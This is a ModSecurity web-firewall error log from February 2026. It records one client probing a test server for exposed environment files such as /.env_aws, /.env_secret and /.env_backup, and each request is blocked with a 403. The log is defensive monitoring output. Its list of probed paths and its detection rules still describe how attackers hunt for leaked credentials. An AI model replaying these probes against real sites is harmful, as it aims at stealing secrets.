[Wed Feb 25 06:04:44.206852 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialQAAAAA&quot;]
[Wed Feb 25 06:04:44.207032 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialQAAAAA&quot;]
[Wed Feb 25 06:04:44.279215 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialgAAAAA&quot;]
[Wed Feb 25 06:04:44.279546 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialgAAAAA&quot;]
[Wed Feb 25 06:04:44.279848 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialgAAAAA&quot;]
[Wed Feb 25 06:04:44.280031 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialgAAAAA&quot;]
[Wed Feb 25 06:04:44.306275 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialwAAAAA&quot;]
[Wed Feb 25 06:04:44.306569 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialwAAAAA&quot;]
[Wed Feb 25 06:04:44.306729 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialwAAAAA&quot;]
[Wed Feb 25 06:04:44.357689 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.uat&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamAAAAAA&quot;]
[Wed Feb 25 06:04:44.358013 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamAAAAAA&quot;]
[Wed Feb 25 06:04:44.358200 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamAAAAAA&quot;]
[Wed Feb 25 06:04:44.393351 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_aws&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamQAAAAA&quot;]
[Wed Feb 25 06:04:44.393681 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamQAAAAA&quot;]
[Wed Feb 25 06:04:44.393940 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamQAAAAA&quot;]
[Wed Feb 25 06:04:44.418066 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamgAAAAA&quot;]
[Wed Feb 25 06:04:44.418481 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamgAAAAA&quot;]
[Wed Feb 25 06:04:44.418678 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamgAAAAA&quot;]
[Wed Feb 25 06:04:44.470094 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_copy&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamwAAAAA&quot;]
[Wed Feb 25 06:04:44.470507 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamwAAAAA&quot;]
[Wed Feb 25 06:04:44.470769 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiamwAAAAA&quot;]
[Wed Feb 25 06:04:44.553900 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_private&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianAAAAAA&quot;]
[Wed Feb 25 06:04:44.554227 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianAAAAAA&quot;]
[Wed Feb 25 06:04:44.554438 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianAAAAAA&quot;]
[Wed Feb 25 06:04:44.651197 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ6C7Iv6AM5Bs3q_JQDYKwAAAAc&quot;]
[Wed Feb 25 06:04:44.651637 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ6C7Iv6AM5Bs3q_JQDYKwAAAAc&quot;]
[Wed Feb 25 06:04:44.651944 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ6C7Iv6AM5Bs3q_JQDYKwAAAAc&quot;]
[Wed Feb 25 06:04:44.748333 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianQAAAAA&quot;]
[Wed Feb 25 06:04:44.748609 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianQAAAAA&quot;]
[Wed Feb 25 06:04:44.748789 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianQAAAAA&quot;]
[Wed Feb 25 06:04:44.800079 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiangAAAAA&quot;]
[Wed Feb 25 06:04:44.800343 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiangAAAAA&quot;]
[Wed Feb 25 06:04:44.800515 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiangAAAAA&quot;]
